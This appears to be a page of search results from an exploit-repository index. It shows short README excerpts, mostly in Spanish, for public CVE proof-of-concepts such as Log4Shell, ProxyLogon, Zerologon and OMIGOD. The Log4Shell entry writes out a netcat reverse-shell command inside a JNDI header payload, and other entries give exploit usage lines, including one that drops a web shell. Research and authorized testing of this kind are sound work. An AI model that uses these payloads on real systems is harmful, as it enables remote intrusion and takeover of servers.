1164919 matches found
CVE-2021-44228
CVE-2021-44228 Reproducción de la vulnerabilidad 1. Ejecute primero RmiServer para crear un servicio de registro RMI. 2. Ejecute Log4jTest; si usa Windows, aparecerá la calculadora...
win32k-callback-detouring
Descargo de responsabilidad Este repositorio se proporciona estrictamente con fines educativos y de investigación defensiva. Demuestra los mecanismos internos de despacho de callbacks de Windows y conceptos de flujo de control relacionados con KernelCallbackTable en un contexto de prueba de...
lowkey
在 AWS 上自托管 AI 编码代理 — OpenClaw, Claude Code, Codex, Kiro, NemoClaw, Hermes ▶️ 在 YouTube 上观看完整演示 📝 阅读博客文章：我给代理开了个 AWS 账号，它就能编码、部署和调试全栈应用了 简而言之 — 部署 Lowkey： root@kitploit: curl -sfL install.lowkey.run | bash 适用于 bash 、zsh 和 AWS CloudShell 。安装程序会交互式地引导你选择 pack、profile 和部署方法。 一行命令示例（非交互式）：...
log4j-rce-test
Compilar ./build.sh Iniciar el servidor RCE de log4j ./start-log4j-rce-server.sh Probar Ejecuta java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Comprueba si obtienes logs en hack.log desde el directorio actual Puedes cambiar esta línea String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString ...
omigod-lab
Léame Una VM de laboratorio educativa para aprender sobre la vulnerabilidad de ejecución remota de código RCE no autenticada con CVSS 9.6 en el software Open Management Infrastructure CVE-2021-38647. Divulgación investigación original:...
react2shell
React2Shell: RCE 0-day en React Server Components CVE-2025-55182 React y CVE-2025-66478 Next.js Este repositorio contiene código de exploit únicamente para pruebas de seguridad autorizadas y fines educativos. Ver también: Múltiples investigadores han publicado análisis de esta vulnerabilidad...
Zerologon
Zerologon Código de explotación para CVE-2020-1472, también conocido como Zerologon...
ProxyLogon
ProxyLogon 原始 PoC：https://github.com/testanull 使用方法： python proxylogon.py 示例： python proxylogon.py primary [email protected] 如果成功，您将进入一个网页 Shell。使用 exit 或 quit（或按 Ctrl+C）退出网页 Shell。 默认情况下，它将创建一个文件 test.aspx。这是可以更改的。 支持： 该项目不受支持，但欢迎提交 PR : 特别感谢与资源： @Flangvik @Testanull...
Centreon-RCE
Centreon-RCE Exploit de ejecución remota de código en Centreon v.19.04 CVE-2019-13024 Revisión de https://github.com/mhaskar/CVE-2019-13024 CÓMO USAR: 1. Edite los valores predeterminados de los argumentos por conveniencia, o no al final del script 2. Si es necesario, edite la función 'editcomman...
CVE-2017-11176
CVE-2017-11176 Prueba de concepto para CVE-2017-11176 para ejecución de código. Vulnerabilidad La función mqnotify en el kernel de Linux hasta la versión 4.11.9 no establece el puntero sock a NULL al entrar en la lógica de reintento. Durante el cierre desde el espacio de usuario de un socket...
CVE-2020-5902
CVE-2020-5902 Exploit automático RCE CVE-2020-5902 F5 BIG-IP RCE + LEER ARCHIVO Dorks : http.title:"BIG-IP®- Redirect" Usando shodan.io...
log4jshell_CVE-2021-44228
log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convertir a Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Prueba de concepto Log4j P...
codeql
CodeQL This open source repository contains the standard CodeQL libraries and queries that power GitHub Advanced Security and the other application security products that GitHub makes available to its customers worldwide. How do I learn CodeQL and run queries? There is extensive documentation abo...
Ctirix_RCE-CVE-2019-19781
CtirixRCE-CVE-2019-19781 Citrix ADC RCE cve-2019-19781 Vídeo Síguenos Vulnmachines YouTube Twitter Facebook...
OMIGOD_cve-2021-38647
OMIGODcve-2021-38647 CVE-2021-38647 es una vulnerabilidad de RCE sin autenticación que afecta al agente OMI como root. Al ejecutar el payload Cambia el HOST Comando: reemplaza tu comando con Comando aquí. como id, whoami, etc. Créditos https://github.com/horizon3ai/CVE-2021-38647 Síguenos...
FsquirtCPLPoC
Fsquirt.exe binario de Windows intenta cargar un applet del Panel de control CPL llamado bthprops.cpl desde su directorio de trabajo actual. Cuando bthprops.cpl está presente junto a fsquirt.exe, el binario lo carga y ejecuta un MessageBox desde DLLMain. Este código PoC genera un archivo...
CVE-2022-26134
pip3 install -r requirements.txt uso: python3 exp.py url "cmd" ejemplo: python3 exp.py http://192.168.1.1/ whoami...
laravel-CVE-2021-3129-EXP
laravel-CVE-2021-3129-EXP CVE-2021-3129 getshell con un clic Uso python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:8000 Después de tener éxito, usa Godzilla para conectarte...
gitlab-rce-demo
Demo de RCE en GitLab mediante Oj Este repositorio contiene una demo autónoma de la cadena de RCE en el notebook-diff de GitLab descrita en nuestra investigación. Inicia un contenedor limpio de GitLab 18.11.3, crea un usuario normal a través de la interfaz HTTP pública y ejecuta el PoC contra esa...